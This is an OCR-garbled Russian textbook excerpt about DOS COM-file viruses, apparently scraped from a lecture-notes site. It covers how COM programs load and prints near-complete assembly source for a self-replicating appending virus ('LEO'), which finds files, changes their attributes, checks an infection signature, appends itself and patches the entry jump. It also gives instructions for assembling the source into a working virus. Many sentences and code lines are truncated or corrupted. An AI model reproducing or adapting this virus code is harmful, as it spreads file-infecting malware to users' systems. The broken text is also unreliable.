Способы внедрения СОМ-вирусов
СОМ-ВИРУСЫ В этой главе рассказано об ал- 10 СОМ-вирусы Компьютерные вирусы могут "гнездиться" в самых неожиданных мес- Структура и процесс загрузки СОМ-программы Что же представляет собой СОМ-программа, как она загружается Структура СОМ-программы предельно проста - она содержит только И еще два понятия, которые часто будут встречаться: Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh) Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена Загрузка СОМ-программы в память и ее запуск происходят так: 1. Определяется сегментный адрес свободного участка памяти доста-
2. Создается и заполняется блок памяти для переменных среды. 3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; сегментЮЮОЬ - программа). В поля PSP заносятся соответствую- 4. Устанавливается адрес DTA равным PSP:0080h. 5. Загружается СОМ-файл с адреса PSP:0100h. 6. Значение регистра АХ устанавливается в соответствии с парамет- 7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм- 8. Регистр SP устанавливается на конец сегмента, после чего в стек за- 9. Происходит запуск программы с адреса PSP:0100h. СОМ-программа всегда состоит из одного сегмента и запускается со Простейший СОМ-вирус В начале СОМ-файла обычно находится команда безусловного перехода После загрузки зараженного файла управление получает вирус. Закон- Что же делает рассматриваемый вирус? После старта он ищет в теку- Тело вируса записывается в конец файла, Рис. 1.1. ;Ищем первый файл по шаблону имени mov dx,offset fname - offset myself Затем вирус проверяет (по первому байту файла), подходят ли ему най- [Открываем файл mov ax,3D02h mov dx,9Eh int 21h ;Если при открытии файла ошибок не произошло,
jnc See_Him jmp exit ; Читаем первый байт файла xchg bx,ax mov ah,3Fh mov dx,offset buf-offset myself add dx.bp xor ex,ex;CX=0 inc ex [(увеличение на 1) СХ=1 Сравниваем. Если первый байт файла ;не E9h, то переходим к поиску следующего .файла - этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself)],OE9h jne find_next Перед заражением файла вирус проверяет сигнатуру - не исключено, Переходим в конец файла (на последний байт) mov dx,[bp+(offset flen-offset MySelf)] ;Читаем сигнатуру вируса mov ah,3Fh xor ex,ex inc ex mov dx.offset bytik-offset myself add dx.bp int 21h .Если при чтении файла ошибок не произошло, [Проверяем сигнатуру, ;иначе ищем следующий файл jnc test_bytik jmp find_next [Проверяем сигнатуру cmp byte ptr [bp+(offset bytik-offset myself)],CheckByte ;Если сигнатура есть, то ищем другой файл, je find_next2 jmp NotJnfected Затем, в соответствии с предложенной схемой, вирус дописывается [Переходим в конец файла Останавливаем регистр DS на сегмент кода [Копируем вирус в файл mov cx.offset VirEnd-offset la sub dx,offset myself-offset la [Записываем в начало файла переход на тело вируса .Переходим в начало файла [Записываем первые три байта файла (переход на тело вируса) mov dx, offset jmpvir-offset myself После того, как вирус закончит свою работу, он восстанавливает вирус может спокойно существовать, будучи один раз выпущенным Как запустить вирус? В любом текстовом редакторе создается файл tasm.exe leo.asm В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус.
.286.Устанавливаем тип процессора [Указываем, что регистры CS и DS содержат ;Начало сегмента кода. В конце программы сегмент кода нужно Останавливаем смещения в сегменте кода. Данная строчка обязательна ;для СОМ-программы (все СОМ-программы начинаются с адреса 100h) org 100h start: ;Имитируем зараженный СОМ-файл. db OE9h;Код команды JMP dw offset la-offset real [Выходим из программы ;3десь начинается тело вируса ;Сохраняем регистры и флаги .Получаем точку входа. ;Для этого вызываем подпрограмму (следующий ;за вызовом адрес) и читаем из стека адрес возврата call MySelf pop bp восстанавливаем первые три байта исходной программы [Дальнейшая задача вируса - найти новую жертву. ;Для этого используется функция 4Eh (Найти первый файл). ;Ищем файл с любыми атрибутами Find_First: .Ищем первый файл по шаблону имени mov dx.offset fname-offset myself mov cx,00100111b ;Если файл найден - переходим к смене атрибутов, иначе выходим jnc attributes jmp exit .Читаем оригинальные атрибуты файла mov dx,9Eh.Адрес имени файла .Сохраняем оригинальные атрибуты файла •.Устанавливаем новые атрибуты файла mov dx,9Eh.Адрес имени файла Переходим к открытию файла ;Ищем следующий файл, так как предыдущий не подходит ;Восстанавливаем оригинальные атрибуты файла mov dx,9Eh;Адрес имени файла [Закрываем файл ;Ищем следующий файл
;Если файл найден - переходим к смене атрибутов, иначе выходим jnc attributes jmp exit .-Открываем файл mov ax,3D02h mov dx,9Eh int 21 h ;Если при открытии файла ошибок не произошло - jnc See_Him jmp exit ;Читаем первый байт файла xchg bx.ax mov ah,3Fh mov dx.offset buf-offset myself add dx,bp xor ex,ex;CX=0 inc ex [(увеличение на 1) СХ=1 int 21 h .Сравниваем. Если первый байт файла ;не E9h, то переходим к поиску следующего файла - ;этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself)],OE9h jne find_next ; Переходим в начало файла [Читаем первые три байта файла в тело вируса mov ah,3Fh mov dx,offset bytes_3-offset myself add dx.bp mov cx,3 int 21 h .Получаем длину файла, для чего переходим в конец файла mov ax,4202h xor ex,ex xor dx.dx int 21h ;Сохраняем полученную длину файла mov [bp+(offset flen-offset MySelf)],ax [Проверяем длину файла ;Если файл не больше 64000 байт,- переходим ;к следующей проверке, ;иначе ищем другой файл (этот слишком велик для заражения) jna richJest jmp find_next Проверим, не заражен ли файл. [Переходим в конец файла (на последний байт) mov dx,[bp+(offset flen-offset MySelf)] ;Читаем сигнатуру вируса mov ah,3Fh xor ex,ex inc ex mov dx,offset bytik-offset myself add dx.bp ;Если при чтении файла ошибок ;не произошло - проверяем сигнатуру, .иначе ищем следующий файл jnc test_bytik jmp tind_next ;Проверяем сигнатуру cmp byte ptr [bp+(offset bytik-offset myself)],CheckByte ;Если сигнатура есть, то ищем другой файл, jne NotJnfected jmp find_next .Файл не заражен - будем заражать mov ax,[bp+(offset flen-offset myself)] sub ax,03h mov [bp+(offset jmp_cmd-offset myself)],ax .Переходим в конец файла [Устанавливаем регистр DS на сегмент кода .Копируем вирус в файл mov ex,offset VirEnd-offset la sub dx,offset myself-offset la Записываем в начало файла переход на тело вируса .Переходим в начало файла [Записываем первые три байта файла (переход на тело вируса) mov dx.offset jmpvir-offset myself ;3акрываем файл mov ah,3Eh int 21h ;Восстанавливаем оригинальные атрибуты файла mov ax,4301h mov dx,9Eh pop ex int 21h восстанавливаем первоначальные значения регистров и флагов Передаем управление программе-носителю -.Байт для чтения сигнатуры .Зарезервировано для изменения трех байт вируса ;Длина файла ;Шаблон для поиска файлов ;0бласть для хранения команды перехода ;Байт памяти для чтения первого байта файла ;Название вируса
;Сигнатура a db CheckByte VirEnd: code ends end start Способы внедрения СОМ-вирусов Рассмотренный вирус дописывался в конец файла, а в начало файла Рассмотрим два варианта внедрения СОМ-вируса в начало файла. Рис. 1.3. При загрузке зараженного таким способом файла управление получит Второй вариант отличается от первого тем, что вирус, освобождая для После запуска зараженной программы, как и в предыдущем случае, программы, переносит к адресу OlOOh все тело программы, а не только Существуют разновидности вирусов, не дописывающие часть своего
Воспользуйтесь поиском по сайту: ©2015 - 2024 megalektsii.ru Все авторские права принадлежат авторам лекционных материалов. Обратная связь с нами...
|